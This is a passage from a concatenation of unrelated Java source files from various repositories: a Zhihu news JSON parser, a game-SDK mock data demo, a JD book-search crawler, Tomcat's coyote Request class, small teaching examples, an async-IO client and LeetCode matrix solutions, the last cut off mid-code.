//{"image":"http:\/\/pic3.zhimg.com\/6109e2641b0b0c4c7b4db4f2a627130e.jpg","type":0,"id":8212950,"ga_prefix":"042707","title":"在澳洲买一堆房的中国土豪,和买不起房的澳洲人民"},
//{"image":"http:\/\/pic1.zhimg.com\/639d2ed1737f6e8c1cc37c2cf193d69c.jpg","type":0,"id":8219299,"ga_prefix":"042707","title":"读读日报 24 小时热门 TOP 5 · 我以为这种事离自己很远"},
//{"image":"http:\/\/pic2.zhimg.com\/5e5dd386b75275867c77ede7762a28fd.jpg","type":0,"id":8215887,"ga_prefix":"042710","title":"我是一个签证官,每天都在听各种中国人讲自己的故事"},
//{"image":"http:\/\/pic4.zhimg.com\/4308af5f6276399b3d230d951b6f00e7.jpg","type":0,"id":8215475,"ga_prefix":"042617","title":"用「泡学」把妹撩汉的他们,奔向了幸福的反面"}
//最新消息 解析最新消息
public static LatstNewsInfo getLatstNewsInfo(String data){
LatstNewsInfo latstNewsInfo = new LatstNewsInfo();
try {
JSONObject newsJsonObject = new JSONObject(data);
String date = newsJsonObject.getString("date");
JSONArray storiesArray = newsJsonObject.getJSONArray("stories");
JSONArray top_storiesArray = newsJsonObject.getJSONArray("top_stories");
List<NewsInfo> stories = getStories(storiesArray);
List<NewsInfo> top_stories = getTop_stories(top_storiesArray);
latstNewsInfo.setData(date);
latstNewsInfo.setStories(stories);
latstNewsInfo.setTop_stories(top_stories);
return latstNewsInfo;
} catch (JSONException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return latstNewsInfo;
}
//最新消息的普通新闻段
private static List<NewsInfo> getStories(JSONArray stories) {
List<NewsInfo> news = new ArrayList<NewsInfo>();
try {
for(int i=0;i<stories.length();i++){
JSONObject storyObj = stories.getJSONObject(i);
JSONArray imagesArray = storyObj.getJSONArray("images");
String image = imagesArray.getString(0);
String title = storyObj.getString("title");
int id = storyObj.getInt("id");
int type = storyObj.getInt("type");
int ga_prefix = storyObj.getInt("ga_prefix");
NewsInfo newsInfo = new NewsInfo();
newsInfo.setImage(image);
newsInfo.setGa_prefix(ga_prefix);
newsInfo.setId(id);
newsInfo.setTitle(title);
newsInfo.setType(type);
news.add(newsInfo);
}
return news;
} catch (JSONException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return null;
}
//最新消息的头新闻段
private static List<NewsInfo> getTop_stories(JSONArray stories) {
List<NewsInfo> news = new ArrayList<NewsInfo>();
try {
for(int i=0;i<stories.length();i++){
JSONObject storyObj = stories.getJSONObject(i);
String image = storyObj.getString("image");
String title = storyObj.getString("title");
int id = storyObj.getInt("id");
int type = storyObj.getInt("type");
int ga_prefix = storyObj.getInt("ga_prefix");
NewsInfo newsInfo = new NewsInfo();
newsInfo.setImage(image);
newsInfo.setGa_prefix(ga_prefix);
newsInfo.setId(id);
newsInfo.setTitle(title);
newsInfo.setType(type);
news.add(newsInfo);
}
return news;
} catch (JSONException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return null;
}
// private String body;
// private String image_source;
// private String title;
// private String image;
// private String share_url;
// private String js;
// private String ga_prefix;
// private String images;
// private int type;
// private int id;
// private String css;
//获取解析新闻详情段
public static NewsDetail getNewsDetail(String data){
NewsDetail news = new NewsDetail();
try {
JSONObject jsonObject = new JSONObject(data);
String body = jsonObject.getString("body");
String image_source = jsonObject.getString("image_source");
String title = jsonObject.getString("title");
String image = jsonObject.getString("image");
String share_url = jsonObject.getString("share_url");
String ga_prefix = jsonObject.getString("ga_prefix");
int type = jsonObject.getInt("type");
int id = jsonObject.getInt("id");
JSONArray jsArray = jsonObject.getJSONArray("js");
List<String> js = new ArrayList<String>();
if(jsArray != null && jsArray.length()> 0){
for(int i=0;i<jsArray.length();i++){
js.add(jsArray.getString(i));
}
}
JSONArray imagesArray = jsonObject.getJSONArray("images");
List<String> images = new ArrayList<String>();
if(imagesArray != null && imagesArray.length()> 0){
for(int i=0;i<imagesArray.length();i++){
images.add(imagesArray.getString(i));
}
}
JSONArray cssArray = jsonObject.getJSONArray("css");
List<String> css = new ArrayList<String>();
if(cssArray != null && cssArray.length()> 0){
for(int i=0;i<cssArray.length();i++){
css.add(cssArray.getString(i));
}
}
news.setBody(body);
news.setImage_source(image_source);
news.setTitle(title);
news.setImage(image);
news.setShare_url(share_url);
news.setJs(js);
news.setGa_prefix(ga_prefix);
news.setImages(images);
news.setType(type);
news.setId(id);
news.setCss(css);
return news;
} catch (JSONException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return null;
}
//获取过去新闻
public static BeforeNewsInfo getBeforeNewsInfo(String data){
BeforeNewsInfo beforeNewsInfo = new BeforeNewsInfo();
try {
JSONObject jsonObject = new JSONObject(data);
String date = jsonObject.getString("date");
JSONArray storiesArray = jsonObject.getJSONArray("stories");
List<NewsInfo> stories = getStories(storiesArray);
beforeNewsInfo.setDate(date);
beforeNewsInfo.setStories(stories);
return beforeNewsInfo;
} catch (JSONException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return null;
}
}
| JoeyChow1989/Jack | ZhiHu_demo/src/main/java/com/zhihu/utils/JsonUtils.java |
65,353 | package com.wa.sdk.cn.demo.channels;
import android.app.Activity;
import com.wa.sdk.user.WAUserProxy;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;
import java.util.HashMap;
/**
* Desc:
* Created by zgq on 2019/11/19.
*/
public class Channel360EventInfoUtil {
private static final Channel360EventInfoUtil ourInstance = new Channel360EventInfoUtil();
public static Channel360EventInfoUtil getInstance() {
return ourInstance;
}
private Channel360EventInfoUtil() {
}
public void submitRoleData(Activity activity){
//----------------------------模拟数据------------------------------
//帐号余额
JSONArray balancelist = new JSONArray();
JSONObject balance1 = new JSONObject();
JSONObject balance2 = new JSONObject();
//好友关系
JSONArray friendlist = new JSONArray();
JSONObject friend1 = new JSONObject();
JSONObject friend2 = new JSONObject();
//排行榜列表
JSONArray ranklist = new JSONArray();
JSONObject rank1 = new JSONObject();
JSONObject rank2 = new JSONObject();
try {
balance1.put("balanceid","1");
balance1.put("balancename","bname1");
balance1.put("balancenum","200");
balance2.put("balanceid","2");
balance2.put("balancename","bname2");
balance2.put("balancenum","300");
balancelist.put(balance1).put(balance2);
friend1.put("roleid","1");
friend1.put("intimacy","0");
friend1.put("nexusid","300");
friend1.put("nexusname","情侣");
friend2.put("roleid","2");
friend2.put("intimacy","0");
friend2.put("nexusid","600");
friend2.put("nexusname","情侣");
friendlist.put(friend1).put(friend2);
rank1.put("listid","1");
rank1.put("listname","listname1");
rank1.put("num","num1");
rank1.put("coin","coin1");
rank1.put("cost","cost1");
rank2.put("listid","2");
rank2.put("listname","listname2");
rank2.put("num","num2");
rank2.put("coin","coin2");
rank2.put("cost","cost2");
ranklist.put(rank1).put(rank2);
} catch (JSONException e) {
e.printStackTrace();
}
HashMap<String, Object> eventParams=new HashMap<String, Object>();
eventParams.put("type","createRole"); //(必填)角色状态(enterServer(登录),levelUp(升级),createRole(创建角色),exitServer(退出))
eventParams.put("zoneid","2"); //(必填)游戏区服ID
eventParams.put("zonename","测试服"); //(必填)游戏区服名称
eventParams.put("roleid","123456"); //(必填)玩家角色ID
eventParams.put("rolename","总裁女友"); //(必填)玩家角色名
eventParams.put("professionid","1"); //(必填)职业ID
eventParams.put("profession","战士"); //(必填)职业名称
eventParams.put("gender","男"); //(必填)性别
eventParams.put("professionroleid","0"); //(选填)职业称号ID
eventParams.put("professionrolename","无"); //(选填)职业称号
eventParams.put("rolelevel","30"); //(必填)玩家角色等级
eventParams.put("power","120000"); //(必填)战力数值
eventParams.put("vip","5"); //(必填)当前用户VIP等级
eventParams.put("balance",balancelist.toString()); //(必填)帐号余额
eventParams.put("partyid","100"); //(必填)所属帮派帮派ID
eventParams.put("partyname","王者依旧"); //(必填)所属帮派名称
eventParams.put("partyroleid","1"); //(必填)帮派称号ID
eventParams.put("partyrolename","会长"); //(必填)帮派称号名称
eventParams.put("friendlist",friendlist.toString()); //(必填)好友关系
eventParams.put("ranking",ranklist.toString()); //(选填)排行榜列表
//参数eventParams相关的 key、value键值对 相关具体使用说明,请参考文档。
//----------------------------模拟数据------------------------------
WAUserProxy.submitRoleData(WAUserProxy.getCurrChannel(), activity, eventParams);
}
}
| ghw-wingsdk/demo-android-cn | demo_cn/src/main/java/com/wa/sdk/cn/demo/channels/Channel360EventInfoUtil.java |
65,355 | package com.catstore.crawlers;
import org.springframework.stereotype.Component;
import us.codecraft.webmagic.Page;
import us.codecraft.webmagic.Site;
import us.codecraft.webmagic.Spider;
import us.codecraft.webmagic.processor.PageProcessor;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
@Component
public class JingdongProcessor implements PageProcessor {
private final Site site = Site.me().setRetryTimes(3).setSleepTime(1000).setTimeOut(10000);
private final String urlFormat = "https://search.jd.com/Search?keyword=%S&enc=utf-8&pvid=d294cf8fea914dc48aa42d8e8c93357f";
private String url = "";
private final List<Map<String, String>> crawledBooks;
void setBookName(String bookName) {
url = String.format(urlFormat, bookName);
}
String getTargetUrl() {
return url;
}
JingdongProcessor() {
crawledBooks = new ArrayList<>();
}
List<Map<String, String>> getCrawledBooks() {
return crawledBooks;
}
@Override
public void process(Page page) {
List<String> bookCoverList = page.getHtml().xpath("//div[@id='J_goodsList']/ul/li/div[@class='gl-i-wrap']/div[@class=\"p-img\"]/a/img").regex("\"//.*.jpg\"").all();
List<String> bookPriceList = page.getHtml().xpath("//div[@id='J_goodsList']/ul/li/div[@class='gl-i-wrap']/div[@class='p-price']/strong/i").regex("[0-9]+.[0-9]+").all();
List<String> bookLinkList = page.getHtml().xpath("//div[@id='J_goodsList']/ul/li/div[@class='gl-i-wrap']/div[@class=\"p-img\"]").links().all();
page.putField("bookCover", bookCoverList);
page.putField("bookPrice", bookPriceList);
page.putField("bookLink", bookLinkList);
crawledBooks.clear();
for (int i = 0; i < 3; ++i) {
Map<String, String> bookInfo = new HashMap<>();
String bookCover = bookCoverList.get(i);
bookInfo.put("bookCover", bookCover.substring(1, bookCover.length() - 1));
bookInfo.put("bookPrice", bookPriceList.get(i));
bookInfo.put("bookLink", bookLinkList.get(i));
crawledBooks.add(bookInfo);
}
}
@Override
public Site getSite() {
return site;
}
// public static void main(String[] args) {
// JingdongProcessor jingdongProcessor = new JingdongProcessor();
// jingdongProcessor.setBookName("租借女友");
// Spider.create(new JingdongProcessor()).addUrl(jingdongProcessor.getTargetUrl()).thread(5).run();
// }
}
| Okabe-Rintarou-0/EbookStore | backend/src/main/java/com/catstore/crawlers/JingdongProcessor.java |
65,359 | /*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.coyote;
import java.io.IOException;
import java.util.HashMap;
import org.apache.tomcat.util.buf.ByteChunk;
import org.apache.tomcat.util.buf.MessageBytes;
import org.apache.tomcat.util.buf.UDecoder;
import org.apache.tomcat.util.http.ContentType;
import org.apache.tomcat.util.http.Cookies;
import org.apache.tomcat.util.http.MimeHeaders;
import org.apache.tomcat.util.http.Parameters;
/**
* This is a low-level, efficient representation of a server request. Most
* fields are GC-free, expensive operations are delayed until the user code
* needs the information.
*
* Processing is delegated to modules, using a hook mechanism.
*
* This class is not intended for user code - it is used internally by tomcat
* for processing the request in the most efficient way. Users ( servlets ) can
* access the information using a facade, which provides the high-level view
* of the request.
*
* For lazy evaluation, the request uses the getInfo() hook. The following ids
* are defined:
*
这是对服务器请求的低层次、有效的表示。大多数
字段是GC-free的,昂贵的操作被延迟到用户代码中
*需要的信息。
*
使用钩子机制将处理委托给模块。
*
这个类不是针对用户代码的,而是由tomcat内部使用的
以最有效的方式处理请求。用户(servlet)可以
使用facade来访问信息,它提供了高级视图
*的请求。
*
对于延迟的评估,请求使用getInfo()钩子。下面的id
*定义:
* <ul>
* <li>req.encoding - returns the request encoding
* <li>req.attribute - returns a module-specific attribute ( like SSL keys, etc ).
* </ul>
*
* Tomcat defines a number of attributes:
* <ul>
* <li>"org.apache.tomcat.request" - allows access to the low-level
* request object in trusted applications
* </ul>
*
* @author James Duncan Davidson [[email protected]]
* @author James Todd [[email protected]]
* @author Jason Hunter [[email protected]]
* @author Harish Prabandham
* @author Alex Cruikshank [[email protected]]
* @author Hans Bergsten [[email protected]]
* @author Costin Manolache
* @author Remy Maucherat
*/
public final class Request {
// ----------------------------------------------------------- Constructors
public Request() {
parameters.setQuery(queryMB);
parameters.setURLDecoder(urlDecoder);
}
// ----------------------------------------------------- Instance Variables
private int serverPort = -1;
private MessageBytes serverNameMB = MessageBytes.newInstance();
private int remotePort;
private int localPort;
private MessageBytes schemeMB = MessageBytes.newInstance();
private MessageBytes methodMB = MessageBytes.newInstance();
private MessageBytes unparsedURIMB = MessageBytes.newInstance();
private MessageBytes uriMB = MessageBytes.newInstance();
private MessageBytes decodedUriMB = MessageBytes.newInstance();
private MessageBytes queryMB = MessageBytes.newInstance();
private MessageBytes protoMB = MessageBytes.newInstance();
// remote address/host
private MessageBytes remoteAddrMB = MessageBytes.newInstance();
private MessageBytes localNameMB = MessageBytes.newInstance();
private MessageBytes remoteHostMB = MessageBytes.newInstance();
private MessageBytes localAddrMB = MessageBytes.newInstance();
private MimeHeaders headers = new MimeHeaders();
private MessageBytes instanceId = MessageBytes.newInstance();
/**
* Notes.
*/
private Object notes[] = new Object[Constants.MAX_NOTES];
/**
* Associated input buffer.
*/
private InputBuffer inputBuffer = null;
/**
* URL decoder.
*/
private UDecoder urlDecoder = new UDecoder();
/**
* HTTP specific fields. (remove them ?)
*/
private long contentLength = -1;
private MessageBytes contentTypeMB = null;
private String charEncoding = null;
private Cookies cookies = new Cookies(headers);
private Parameters parameters = new Parameters();
private MessageBytes remoteUser=MessageBytes.newInstance();
private MessageBytes authType=MessageBytes.newInstance();
private HashMap<String,Object> attributes=new HashMap<String,Object>();
private Response response;
private ActionHook hook;
private int bytesRead=0;
// Time of the request - useful to avoid repeated calls to System.currentTime
private long startTime = -1;
private int available = 0;
private RequestInfo reqProcessorMX=new RequestInfo(this);
// ------------------------------------------------------------- Properties
/**
* Get the instance id (or JVM route). Currently Ajp is sending it with each
* request. In future this should be fixed, and sent only once ( or
* 'negotiated' at config time so both tomcat and apache share the same name.
*
* @return the instance id
*/
public MessageBytes instanceId() {
return instanceId;
}
public MimeHeaders getMimeHeaders() {
return headers;
}
public UDecoder getURLDecoder() {
return urlDecoder;
}
// -------------------- Request data --------------------
public MessageBytes scheme() {
return schemeMB;
}
public MessageBytes method() {
return methodMB;
}
public MessageBytes unparsedURI() {
return unparsedURIMB;
}
public MessageBytes requestURI() {
return uriMB;
}
public MessageBytes decodedURI() {
return decodedUriMB;
}
public MessageBytes queryString() {
return queryMB;
}
public MessageBytes protocol() {
return protoMB;
}
/**
* Return the buffer holding the server name, if
* any. Use isNull() to check if there is no value
* set.
* This is the "virtual host", derived from the
* Host: header.
*/
public MessageBytes serverName() {
return serverNameMB;
}
public int getServerPort() {
return serverPort;
}
public void setServerPort(int serverPort ) {
this.serverPort=serverPort;
}
public MessageBytes remoteAddr() {
return remoteAddrMB;
}
public MessageBytes remoteHost() {
return remoteHostMB;
}
public MessageBytes localName() {
return localNameMB;
}
public MessageBytes localAddr() {
return localAddrMB;
}
public int getRemotePort(){
return remotePort;
}
public void setRemotePort(int port){
this.remotePort = port;
}
public int getLocalPort(){
return localPort;
}
public void setLocalPort(int port){
this.localPort = port;
}
// -------------------- encoding/type --------------------
/**
* Get the character encoding used for this request.
*/
public String getCharacterEncoding() {
if (charEncoding != null)
return charEncoding;
charEncoding = ContentType.getCharsetFromContentType(getContentType());
return charEncoding;
}
public void setCharacterEncoding(String enc) {
this.charEncoding = enc;
}
public void setContentLength(int len) {
this.contentLength = len;
}
public int getContentLength() {
long length = getContentLengthLong();
if (length < Integer.MAX_VALUE) {
return (int) length;
}
return -1;
}
public long getContentLengthLong() {
if( contentLength > -1 ) return contentLength;
MessageBytes clB = headers.getUniqueValue("content-length");
contentLength = (clB == null || clB.isNull()) ? -1 : clB.getLong();
return contentLength;
}
public String getContentType() {
contentType();
if ((contentTypeMB == null) || contentTypeMB.isNull())
return null;
return contentTypeMB.toString();
}
public void setContentType(String type) {
contentTypeMB.setString(type);
}
public MessageBytes contentType() {
if (contentTypeMB == null)
contentTypeMB = headers.getValue("content-type");
return contentTypeMB;
}
public void setContentType(MessageBytes mb) {
contentTypeMB=mb;
}
public String getHeader(String name) {
return headers.getHeader(name);
}
// -------------------- Associated response --------------------
public Response getResponse() {
return response;
}
public void setResponse( Response response ) {
this.response=response;
response.setRequest( this );
}
public void action(ActionCode actionCode, Object param) {
if( hook==null && response!=null )
hook=response.getHook();
if (hook != null) {
if( param==null )
hook.action(actionCode, this);
else
hook.action(actionCode, param);
}
}
// -------------------- Cookies --------------------
public Cookies getCookies() {
return cookies;
}
// -------------------- Parameters --------------------
public Parameters getParameters() {
return parameters;
}
// -------------------- Other attributes --------------------
// We can use notes for most - need to discuss what is of general interest
public void setAttribute( String name, Object o ) {
attributes.put( name, o );
}
public HashMap<String,Object> getAttributes() {
return attributes;
}
public Object getAttribute(String name ) {
return attributes.get(name);
}
public MessageBytes getRemoteUser() {
return remoteUser;
}
public MessageBytes getAuthType() {
return authType;
}
public int getAvailable() {
return available;
}
public void setAvailable(int available) {
this.available = available;
}
// -------------------- Input Buffer --------------------
public InputBuffer getInputBuffer() {
return inputBuffer;
}
public void setInputBuffer(InputBuffer inputBuffer) {
this.inputBuffer = inputBuffer;
}
/**
* Read data from the input buffer and put it into a byte chunk.
*
* The buffer is owned by the protocol implementation - it will be reused on the next read.
* The Adapter must either process the data in place or copy it to a separate buffer if it needs
* to hold it. In most cases this is done during byte->char conversions or via InputStream. Unlike
* InputStream, this interface allows the app to process data in place, without copy.
*
*/
public int doRead(ByteChunk chunk)
throws IOException {
int n = inputBuffer.doRead(chunk, this);
if (n > 0) {
bytesRead+=n;
}
return n;
}
// -------------------- debug --------------------
@Override
public String toString() {
return "R( " + requestURI().toString() + ")";
}
public long getStartTime() {
return startTime;
}
public void setStartTime(long startTime) {
this.startTime = startTime;
}
// -------------------- Per-Request "notes" --------------------
/**
* Used to store private data. Thread data could be used instead - but
* if you have the req, getting/setting a note is just a array access, may
* be faster than ThreadLocal for very frequent operations.
*
* Example use:
* Jk:
* HandlerRequest.HOSTBUFFER = 10 CharChunk, buffer for Host decoding
* WorkerEnv: SSL_CERT_NOTE=16 - MessageBytes containing the cert
*
* Catalina CoyoteAdapter:
* ADAPTER_NOTES = 1 - stores the HttpServletRequest object ( req/res)
*
* To avoid conflicts, note in the range 0 - 8 are reserved for the
* servlet container ( catalina connector, etc ), and values in 9 - 16
* for connector use.
*
* 17-31 range is not allocated or used.
*/
public final void setNote(int pos, Object value) {
notes[pos] = value;
}
public final Object getNote(int pos) {
return notes[pos];
}
// -------------------- Recycling --------------------
// 循环使用
public void recycle() {
bytesRead=0;
contentLength = -1;
contentTypeMB = null;
charEncoding = null;
headers.recycle();
serverNameMB.recycle();
serverPort=-1;
localPort = -1;
remotePort = -1;
available = 0;
cookies.recycle();
parameters.recycle();
unparsedURIMB.recycle();
uriMB.recycle();
decodedUriMB.recycle();
queryMB.recycle();
methodMB.recycle();
protoMB.recycle();
schemeMB.recycle();
instanceId.recycle();
remoteUser.recycle();
authType.recycle();
attributes.clear();
startTime = -1;
}
// -------------------- Info --------------------
public void updateCounters() {
reqProcessorMX.updateCounters();
}
public RequestInfo getRequestProcessor() {
return reqProcessorMX;
}
public int getBytesRead() {
return bytesRead;
}
public boolean isProcessing() {
return reqProcessorMX.getStage()==org.apache.coyote.Constants.STAGE_SERVICE;
}
}
| stateIs0/Tomcat-Source-Code | tomcat-7.0.42-sourcecode/java/org/apache/coyote/Request.java |
65,360 | public class SwitchCaseDemo4 {
public static void main(String[] args) {
// 大多数时候,在switch表达式内部,我们会返回简单的值。
//
// 但是,如果需要复杂的语句,我们也可以写很多语句,放到{...}里,然后,用yield返回一个值作为switch语句的返回值:
String fruit = "orange";
int opt =
switch (fruit) {
case "apple" -> 1;
case "pear", "mango" -> 2;
default -> {
int code = fruit.hashCode();
yield code; // switch语句返回值
}
};
System.out.println("opt = " + opt);
}
}
| program-spiritual/KongFuOfArchitect | part3/java/liaoxuefengJavaTutorial/SwitchCaseDemo4.java |
65,362 | package exceptions;//: exceptions/LoggingExceptions.java
// An exception that reports through a Logger.
import java.io.PrintWriter;
import java.io.StringWriter;
import java.util.logging.Logger;
/***、
*
* 还可以更进一步定义异常,比如加入额外的构造器和成员
*
*
* 1
*
*
* 异常也是对象的一种,所以可以继续修改这个异常类,以得到更强的功能,但要记住
* 使用程序包的客户端程序员可能仅仅只是查看一下抛出的异常类型,其他的就不管了,大多数
* java库里的异常都是这么用的,所以对异常所添加的其他的功能也许根本用不上
*
*/
class LoggingException extends Exception {
private static Logger logger = Logger.getLogger("LoggingException");
public LoggingException() {
StringWriter trace = new StringWriter();
printStackTrace(new PrintWriter(trace));
logger.severe(trace.toString());
}
}
public class LoggingExceptions {
public static void main(String[] args) {
try {
throw new LoggingException();
} catch(LoggingException e) {
System.err.println("Caught " + e);
}
try {
throw new LoggingException();
} catch(LoggingException e) {
System.err.println("Caught " + e);
}
}
}
/* Output: (85% match)
Aug 30, 2005 4:02:31 PM LoggingException <init>
SEVERE: LoggingException
at LoggingExceptions.main(LoggingExceptions.java:19)
Caught LoggingException
Aug 30, 2005 4:02:31 PM LoggingException <init>
SEVERE: LoggingException
at LoggingExceptions.main(LoggingExceptions.java:24)
Caught LoggingException
*///:~
| quyixiao/ThinkJava | src/main/java/exceptions/LoggingExceptions.java |
65,364 | /**
* 服务类,Dao包的延伸
* <p>
* Dao 很灵活,这里再给出一些简单的数据访问抽象基类,它们能让你的大多数调用代码,少掉一个参数
*/
package org.nutz.service; | nutzam/nutz | src/org/nutz/service/package-info.java |
65,365 | package io.aio;
import io.common.InputUtil;
import io.common.ServerInfo;
import java.net.InetSocketAddress;
import java.nio.ByteBuffer;
import java.nio.channels.AsynchronousSocketChannel;
import java.nio.channels.CompletionHandler;
import java.util.concurrent.CountDownLatch;
/**
* AIO的client 可以看到 大多数时候 它都是注册的一个个的Callback/handler
* 而且是完全异步的.
*/
public class AioClient {
public static void main(String[] args) throws Exception {
AsynchronousSocketChannel socketChannel = AsynchronousSocketChannel.open();
socketChannel.connect(new InetSocketAddress(ServerInfo.PORT), socketChannel,new ConnectFinishHandler());
CountDownLatch running = new CountDownLatch(1);
running.await();
}
static class ConnectFinishHandler implements CompletionHandler<Void, AsynchronousSocketChannel> {
@Override
public void completed(Void result, AsynchronousSocketChannel socket) {
// 当连接完成
// 让我们从准备读取数据并写入到socket
String readStr = InputUtil.getLine("Input something:");
ByteBuffer buf = ByteBuffer.allocate(512);
buf.put((readStr.trim() + "\n").getBytes());
buf.flip();
socket.write(buf, socket, new WriteFinishHandler());
}
@Override
public void failed(Throwable exc, AsynchronousSocketChannel attachment) {
System.out.println("Error");
exc.printStackTrace();
}
}
static class ReadFinishHandler implements CompletionHandler<Integer, AsynchronousSocketChannel> {
private ByteBuffer buf;
public ReadFinishHandler(ByteBuffer buf) {
this.buf = buf;
}
@Override
public void completed(Integer result, AsynchronousSocketChannel attachment) {
System.out.println("Read resp from remote is:");
System.out.println(new String(buf.array(), 0, result));
// let's get a new string from cmd line
String readStr = InputUtil.getLine("Input something:");
ByteBuffer buf = ByteBuffer.allocate(512);
buf.put((readStr.trim() + "\n").getBytes());
buf.flip();
attachment.write(buf, attachment, new WriteFinishHandler());
}
@Override
public void failed(Throwable exc, AsynchronousSocketChannel attachment) {
System.out.println("Error when reading");
exc.printStackTrace();
}
}
static class WriteFinishHandler implements CompletionHandler<Integer, AsynchronousSocketChannel> {
@Override
public void completed(Integer result, AsynchronousSocketChannel attachment) {
// already finish writing
// let's waiting the resp
ByteBuffer buf = ByteBuffer.allocate(512);
attachment.read(buf, attachment, new ReadFinishHandler(buf));
}
@Override
public void failed(Throwable exc, AsynchronousSocketChannel attachment) {
System.out.println("Error when writing");
exc.printStackTrace();
}
}
}
| gaoxingliang/goodutils | src/io/aio/AioClient.java |
65,368 | /*
Given a n x n matrix where each of the rows and columns are sorted in ascending order,
find the kth smallest element in the matrix.
Note that it is the kth smallest element in the sorted order, not the kth distinct element.
Example:
matrix = [
[ 1, 5, 9],
[10, 11, 13],
[12, 13, 15]
],
k = 8,
return 13.
Note:
You may assume k is always valid, 1 ≤ k ≤ n2.
*/
/**
* Approach 1: PriorityQueue
* 该题与 Merge K sorted Arrays 思路相同,并且要求时间复杂度为 O(klogn).
* 故我们想到可以利用到 PriorityQueue 这个数据结构。
* 矩阵为递增矩阵,要求的元素为 kth smallest number.顺序为 从左到右 从上到下 依次递增,
* 故我们可以把范围锁定在 k * k 大小的左上角矩阵中。
* 具体操作为:
* 1. 利用矩阵第一行的元素创建一个 minHeap (若第一行元素长度大于k,则取前 k 个元素).
* 2. 每次将堆顶元素 poll 出去,同时我们需要被 poll 出的元素的 行 和 列 的值.故我们堆中所保存的元素应该包含有这些信息.
* 然后我们将与该元素同一列的下一行元素 offer 进去替代它。进行 k-1 次操作即可。
*
* Note:
* 你也可以利用矩阵的第一列元素来构建 / 初始化 minHeap, 然后重复相似的操作:
* (推出 peek element 后,利用与被 poll 元素同一行的下一列元素替代它)
*
* 该题中我们需要创建一个新的矩阵类,其包含了矩阵中各个元素的 Value, Row, Column这三个值。
* 具体原因见 Solution1 操作第2点。
* 并且该类需要能够互相比较大小。
* 在这里有两个实现方法:
* 1. 类本身实现了 Comparable 接口. 重写 compareTo 方法(本程序采用了该种写法)
* 2. 创建一个新的比较器 Comparator 在这里面实现该类的比较方法. 重写 compare 方法.
* (可利用 内部类 在创建 PriorityQueue 时直接创建,编写代码)
*/
class Solution {
class Tuple implements Comparable<Tuple> {
int x;
int y;
int value;
Tuple(int x, int y, int value) {
this.x = x;
this.y = y;
this.value = value;
}
public int compareTo(Tuple t) {
return this.value - t.value;
}
}
public int kthSmallest(int[][] matrix, int k) {
if (matrix == null || matrix[0].length == 0) {
return -1;
}
PriorityQueue<Tuple> pq = new PriorityQueue<>();
int bound = matrix[0].length > k ? k : matrix[0].length;
for (int j = 0; j < bound; j++) {
pq.offer(new Tuple(0, j, matrix[0][j]));
}
for (int i = 0; i < k - 1; i++) {
Tuple t = pq.poll();
if (t.x == matrix.length - 1) {
continue;
}
pq.offer(new Tuple(t.x+1, t.y, matrix[t.x+1][t.y]));
}
return pq.peek().value;
}
}
/**
* Approach 2: Sorted Matrix + Binary Search
* 由 Search a 2D Matrix 与 O(klogN) 的时间复杂度,我们想到该题或许也能够使用二分法进行计算。
* 二分法计算的重点是:“搜索空间”(Search Space)。而搜索空间又可以被分为两种,也对应着二分法的两个解法:
* 下标(index) 和 范围(range) (最小值与最大值之间的距离)。
* 大多数情况下,当数组在一个方向上是排序好了的,我们可以使用 下标 作为搜索空间。
* 而当数组是未被排序的,并且我们希望能够找到一个特定的数字,我们可以使用 范围 作为搜索空间。
*
* 接下来我们来看两个例子:
* 使用下标(index) -- https://leetcode.com/problems/find-minimum-in-rotated-sorted-array/ ( the array is sorted)
* 使用范围(range) -- https://leetcode.com/problems/find-the-duplicate-number/ (Unsorted Array)
*
* 那么在本题我们不使用 下标 作为搜索空间的原因便是,矩阵是在两个方向上有序的。
* 我们无法使用下标在其中找到一个线性的关系。因此我们在这里使用了 范围(range) 作为搜索空间。
* 当我们确定了一个二分值 mid 之后,我们就利用 Matrix 已经排序好的顺序信息,
* 查找有几个元素 <= mid.每次查找总共需要的比较次数为 矩阵的列数 O(n)
* 注意查找的时候,我们的移动顺序为:在行方向上,从大到小(右->左) 进行移动,而相应的 列方向 上 从小到大(上->下) 移动.
* 我们这里是通过这个移动方式来利用个Sorted Matrix 的信息。(大家可以思考下为什么,当然也可以个人喜好使用其他的移动方式)
* 因为 Sorted Matrix 根据题目的不同,其排序顺序很可能出现不同的情况,所以推荐大家写出一个例子,
* 看清其排列规律后,再下手,根据需求使用合适的移动方式即可(时间一定是 O(n) 的,不然就失去意义了)。应用可以参考下面给出的链接。
* 因此总体时间复杂度为:O(nlogn)
*
* 题外话:只要具有排他性,便能够使用二分法 -- 二分法求局部最小值.java in NowCoder
* https://github.com/cherryljr/NowCoder/blob/master/%E4%BA%8C%E5%88%86%E6%B3%95%E6%B1%82%E5%B1%80%E9%83%A8%E6%9C%80%E5%B0%8F%E5%80%BC.java
*
* 利用到本题知识点的相关问题以及 Fwllow Up:
* Kth Smallest Number in Multiplication Table:
* https://github.com/cherryljr/LeetCode/blob/master/Kth%20Smallest%20Number%20in%20Multiplication%20Table.java
* K-th Smallest Prime Fraction:
* https://github.com/cherryljr/LeetCode/edit/master/K-th%20Smallest%20Prime%20Fraction.java
* Find K-th Smallest Pair Distance:
* https://github.com/cherryljr/LeetCode/blob/master/Find%20K-th%20Smallest%20Pair%20Distance.java
*/
class Solution {
public int kthSmallest(int[][] matrix, int k) {
int start = matrix[0][0];
int end = matrix[matrix.length - 1][matrix[0].length - 1];
int count = 0;
// Binary Search
while (start < end) {
int mid = start + ((end - start) >> 1);
count = 0;
for (int i = 0, j = matrix.length - 1; i < matrix.length; i++) {
// 从右向左(大->小)按列比较,如果 matrix[i][j] > mid,则 列指针j 需要向左移动
